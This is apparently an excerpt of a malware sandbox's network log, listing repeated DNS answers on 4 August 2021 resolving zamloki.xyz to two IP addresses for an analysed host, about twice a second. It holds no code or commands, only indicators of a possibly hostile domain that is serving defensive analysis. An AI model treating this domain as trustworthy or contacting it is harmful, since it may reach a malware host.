Aug 4, 2021 13:56:18.351156950 CEST	8.8.8.8	192.168.2.5	0xd2af	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:18.351156950 CEST	8.8.8.8	192.168.2.5	0xd2af	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:19.578468084 CEST	8.8.8.8	192.168.2.5	0xd39b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:19.578468084 CEST	8.8.8.8	192.168.2.5	0xd39b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.189198017 CEST	8.8.8.8	192.168.2.5	0xaa15	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.189198017 CEST	8.8.8.8	192.168.2.5	0xaa15	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.916138887 CEST	8.8.8.8	192.168.2.5	0xb628	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.916138887 CEST	8.8.8.8	192.168.2.5	0xb628	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.409156084 CEST	8.8.8.8	192.168.2.5	0x1b7d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.409156084 CEST	8.8.8.8	192.168.2.5	0x1b7d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.915297031 CEST	8.8.8.8	192.168.2.5	0x4bb2	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.915297031 CEST	8.8.8.8	192.168.2.5	0x4bb2	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:22.569910049 CEST	8.8.8.8	192.168.2.5	0x68fc	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:22.569910049 CEST	8.8.8.8	192.168.2.5	0x68fc	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.086430073 CEST	8.8.8.8	192.168.2.5	0xb928	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.086430073 CEST	8.8.8.8	192.168.2.5	0xb928	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.627559900 CEST	8.8.8.8	192.168.2.5	0x65a0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.627559900 CEST	8.8.8.8	192.168.2.5	0x65a0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.143348932 CEST	8.8.8.8	192.168.2.5	0xd043	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.143348932 CEST	8.8.8.8	192.168.2.5	0xd043	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.658602953 CEST	8.8.8.8	192.168.2.5	0xe7e8	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.658602953 CEST	8.8.8.8	192.168.2.5	0xe7e8	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.206110954 CEST	8.8.8.8	192.168.2.5	0xa10a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.206110954 CEST	8.8.8.8	192.168.2.5	0xa10a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.727165937 CEST	8.8.8.8	192.168.2.5	0x7f42	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.727165937 CEST	8.8.8.8	192.168.2.5	0x7f42	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.232189894 CEST	8.8.8.8	192.168.2.5	0xed6e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.232189894 CEST	8.8.8.8	192.168.2.5	0xed6e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.714318037 CEST	8.8.8.8	192.168.2.5	0xba4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.714318037 CEST	8.8.8.8	192.168.2.5	0xba4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:27.239347935 CEST	8.8.8.8	192.168.2.5	0xbcef	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:27.239347935 CEST	8.8.8.8	192.168.2.5	0xbcef	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:27.760552883 CEST	8.8.8.8	192.168.2.5	0x497c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:27.760552883 CEST	8.8.8.8	192.168.2.5	0x497c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.279953003 CEST	8.8.8.8	192.168.2.5	0x4a3b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.279953003 CEST	8.8.8.8	192.168.2.5	0x4a3b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.813812971 CEST	8.8.8.8	192.168.2.5	0x299a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.813812971 CEST	8.8.8.8	192.168.2.5	0x299a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.318761110 CEST	8.8.8.8	192.168.2.5	0x6950	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.318761110 CEST	8.8.8.8	192.168.2.5	0x6950	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.816361904 CEST	8.8.8.8	192.168.2.5	0xca87	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.816361904 CEST	8.8.8.8	192.168.2.5	0xca87	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.301296949 CEST	8.8.8.8	192.168.2.5	0xb044	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.301296949 CEST	8.8.8.8	192.168.2.5	0xb044	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.819806099 CEST	8.8.8.8	192.168.2.5	0x793c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.819806099 CEST	8.8.8.8	192.168.2.5	0x793c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.320698023 CEST	8.8.8.8	192.168.2.5	0xd6f3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.320698023 CEST	8.8.8.8	192.168.2.5	0xd6f3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.813414097 CEST	8.8.8.8	192.168.2.5	0x49c6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.813414097 CEST	8.8.8.8	192.168.2.5	0x49c6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.321347952 CEST	8.8.8.8	192.168.2.5	0x90a7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.321347952 CEST	8.8.8.8	192.168.2.5	0x90a7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.847467899 CEST	8.8.8.8	192.168.2.5	0x5656	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.847467899 CEST	8.8.8.8	192.168.2.5	0x5656	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.373590946 CEST	8.8.8.8	192.168.2.5	0x76fe	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.373590946 CEST	8.8.8.8	192.168.2.5	0x76fe	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.891801119 CEST	8.8.8.8	192.168.2.5	0xf49b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.891801119 CEST	8.8.8.8	192.168.2.5	0xf49b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.404073000 CEST	8.8.8.8	192.168.2.5	0xe233	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.404073000 CEST	8.8.8.8	192.168.2.5	0xe233	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.931296110 CEST	8.8.8.8	192.168.2.5	0x9870	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.931296110 CEST	8.8.8.8	192.168.2.5	0x9870	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.429563999 CEST	8.8.8.8	192.168.2.5	0xa277	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.429563999 CEST	8.8.8.8	192.168.2.5	0xa277	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.932173967 CEST	8.8.8.8	192.168.2.5	0x46bd	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.932173967 CEST	8.8.8.8	192.168.2.5	0x46bd	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:36.452130079 CEST	8.8.8.8	192.168.2.5	0xafb6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:36.452130079 CEST	8.8.8.8	192.168.2.5	0xafb6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:37.013403893 CEST	8.8.8.8	192.168.2.5	0xf95	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:37.013403893 CEST	8.8.8.8	192.168.2.5	0xf95	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:40.562410116 CEST	8.8.8.8	192.168.2.5	0x10a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:40.562410116 CEST	8.8.8.8	192.168.2.5	0x10a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.071274042 CEST	8.8.8.8	192.168.2.5	0xa1d6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.071274042 CEST	8.8.8.8	192.168.2.5	0xa1d6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.588263035 CEST	8.8.8.8	192.168.2.5	0x6293	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.588263035 CEST	8.8.8.8	192.168.2.5	0x6293	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.095326900 CEST	8.8.8.8	192.168.2.5	0x17d1	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.095326900 CEST	8.8.8.8	192.168.2.5	0x17d1	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.607347012 CEST	8.8.8.8	192.168.2.5	0x7c35	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.607347012 CEST	8.8.8.8	192.168.2.5	0x7c35	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.123317003 CEST	8.8.8.8	192.168.2.5	0x9aa4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.123317003 CEST	8.8.8.8	192.168.2.5	0x9aa4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.671926975 CEST	8.8.8.8	192.168.2.5	0x1dd2	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.671926975 CEST	8.8.8.8	192.168.2.5	0x1dd2	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.187822104 CEST	8.8.8.8	192.168.2.5	0x4979	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.187822104 CEST	8.8.8.8	192.168.2.5	0x4979	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.685833931 CEST	8.8.8.8	192.168.2.5	0x1b6b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.685833931 CEST	8.8.8.8	192.168.2.5	0x1b6b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.193837881 CEST	8.8.8.8	192.168.2.5	0xf972	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.193837881 CEST	8.8.8.8	192.168.2.5	0xf972	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.709059000 CEST	8.8.8.8	192.168.2.5	0x433	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.709059000 CEST	8.8.8.8	192.168.2.5	0x433	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.202071905 CEST	8.8.8.8	192.168.2.5	0x4ff6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.202071905 CEST	8.8.8.8	192.168.2.5	0x4ff6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.724630117 CEST	8.8.8.8	192.168.2.5	0x7877	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.724630117 CEST	8.8.8.8	192.168.2.5	0x7877	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.317720890 CEST	8.8.8.8	192.168.2.5	0x5bad	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.317720890 CEST	8.8.8.8	192.168.2.5	0x5bad	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.838242054 CEST	8.8.8.8	192.168.2.5	0xf979	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.838242054 CEST	8.8.8.8	192.168.2.5	0xf979	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.381927013 CEST	8.8.8.8	192.168.2.5	0x9094	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.381927013 CEST	8.8.8.8	192.168.2.5	0x9094	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.907267094 CEST	8.8.8.8	192.168.2.5	0x8e25	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.907267094 CEST	8.8.8.8	192.168.2.5	0x8e25	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:49.502697945 CEST	8.8.8.8	192.168.2.5	0x3626	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:49.502697945 CEST	8.8.8.8	192.168.2.5	0x3626	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:50.008225918 CEST	8.8.8.8	192.168.2.5	0x7913	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:50.008225918 CEST	8.8.8.8	192.168.2.5	0x7913	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:50.533073902 CEST	8.8.8.8	192.168.2.5	0xc131	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:50.533073902 CEST	8.8.8.8	192.168.2.5	0xc131	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.071089983 CEST	8.8.8.8	192.168.2.5	0x58f3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.071089983 CEST	8.8.8.8	192.168.2.5	0x58f3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.597728968 CEST	8.8.8.8	192.168.2.5	0x2c79	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.597728968 CEST	8.8.8.8	192.168.2.5	0x2c79	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.160860062 CEST	8.8.8.8	192.168.2.5	0xa8a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.160860062 CEST	8.8.8.8	192.168.2.5	0xa8a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.634488106 CEST	8.8.8.8	192.168.2.5	0xc560	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.634488106 CEST	8.8.8.8	192.168.2.5	0xc560	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.167526960 CEST	8.8.8.8	192.168.2.5	0xc024	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.167526960 CEST	8.8.8.8	192.168.2.5	0xc024	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.672298908 CEST	8.8.8.8	192.168.2.5	0xdf3e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.672298908 CEST	8.8.8.8	192.168.2.5	0xdf3e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.201951981 CEST	8.8.8.8	192.168.2.5	0xe387	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.201951981 CEST	8.8.8.8	192.168.2.5	0xe387	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.683020115 CEST	8.8.8.8	192.168.2.5	0x5c96	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.683020115 CEST	8.8.8.8	192.168.2.5	0x5c96	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.204436064 CEST	8.8.8.8	192.168.2.5	0x66ac	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.204436064 CEST	8.8.8.8	192.168.2.5	0x66ac	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.700114965 CEST	8.8.8.8	192.168.2.5	0xe3df	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.700114965 CEST	8.8.8.8	192.168.2.5	0xe3df	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.187402964 CEST	8.8.8.8	192.168.2.5	0x234d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.187402964 CEST	8.8.8.8	192.168.2.5	0x234d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.695103884 CEST	8.8.8.8	192.168.2.5	0xd0ab	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.695103884 CEST	8.8.8.8	192.168.2.5	0xd0ab	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.206475019 CEST	8.8.8.8	192.168.2.5	0xf8fa	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.206475019 CEST	8.8.8.8	192.168.2.5	0xf8fa	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.696487904 CEST	8.8.8.8	192.168.2.5	0x571d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.696487904 CEST	8.8.8.8	192.168.2.5	0x571d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.202625990 CEST	8.8.8.8	192.168.2.5	0x6b54	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.202625990 CEST	8.8.8.8	192.168.2.5	0x6b54	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.726531029 CEST	8.8.8.8	192.168.2.5	0x3b58	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.726531029 CEST	8.8.8.8	192.168.2.5	0x3b58	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.239981890 CEST	8.8.8.8	192.168.2.5	0x7d0b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.239981890 CEST	8.8.8.8	192.168.2.5	0x7d0b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.781330109 CEST	8.8.8.8	192.168.2.5	0xb4c7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.781330109 CEST	8.8.8.8	192.168.2.5	0xb4c7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.269613028 CEST	8.8.8.8	192.168.2.5	0xf50a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.269613028 CEST	8.8.8.8	192.168.2.5	0xf50a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.780440092 CEST	8.8.8.8	192.168.2.5	0xfb48	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.780440092 CEST	8.8.8.8	192.168.2.5	0xfb48	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.282202959 CEST	8.8.8.8	192.168.2.5	0xabce	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.282202959 CEST	8.8.8.8	192.168.2.5	0xabce	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.803677082 CEST	8.8.8.8	192.168.2.5	0xf3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.803677082 CEST	8.8.8.8	192.168.2.5	0xf3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.285224915 CEST	8.8.8.8	192.168.2.5	0xfd19	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.285224915 CEST	8.8.8.8	192.168.2.5	0xfd19	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.780189991 CEST	8.8.8.8	192.168.2.5	0xbcdc	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.780189991 CEST	8.8.8.8	192.168.2.5	0xbcdc	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.261065960 CEST	8.8.8.8	192.168.2.5	0x8d8c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.261065960 CEST	8.8.8.8	192.168.2.5	0x8d8c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.793875933 CEST	8.8.8.8	192.168.2.5	0x1d58	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.793875933 CEST	8.8.8.8	192.168.2.5	0x1d58	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.275651932 CEST	8.8.8.8	192.168.2.5	0xf066	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.275651932 CEST	8.8.8.8	192.168.2.5	0xf066	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.792046070 CEST	8.8.8.8	192.168.2.5	0x1c69	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.792046070 CEST	8.8.8.8	192.168.2.5	0x1c69	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:05.585371971 CEST	8.8.8.8	192.168.2.5	0x83ff	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:05.585371971 CEST	8.8.8.8	192.168.2.5	0x83ff	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.093858004 CEST	8.8.8.8	192.168.2.5	0x62dd	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.093858004 CEST	8.8.8.8	192.168.2.5	0x62dd	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.996740103 CEST	8.8.8.8	192.168.2.5	0x2046	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.996740103 CEST	8.8.8.8	192.168.2.5	0x2046	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.360383034 CEST	8.8.8.8	192.168.2.5	0x835	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.360383034 CEST	8.8.8.8	192.168.2.5	0x835	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.868594885 CEST	8.8.8.8	192.168.2.5	0x3a3f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.868594885 CEST	8.8.8.8	192.168.2.5	0x3a3f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
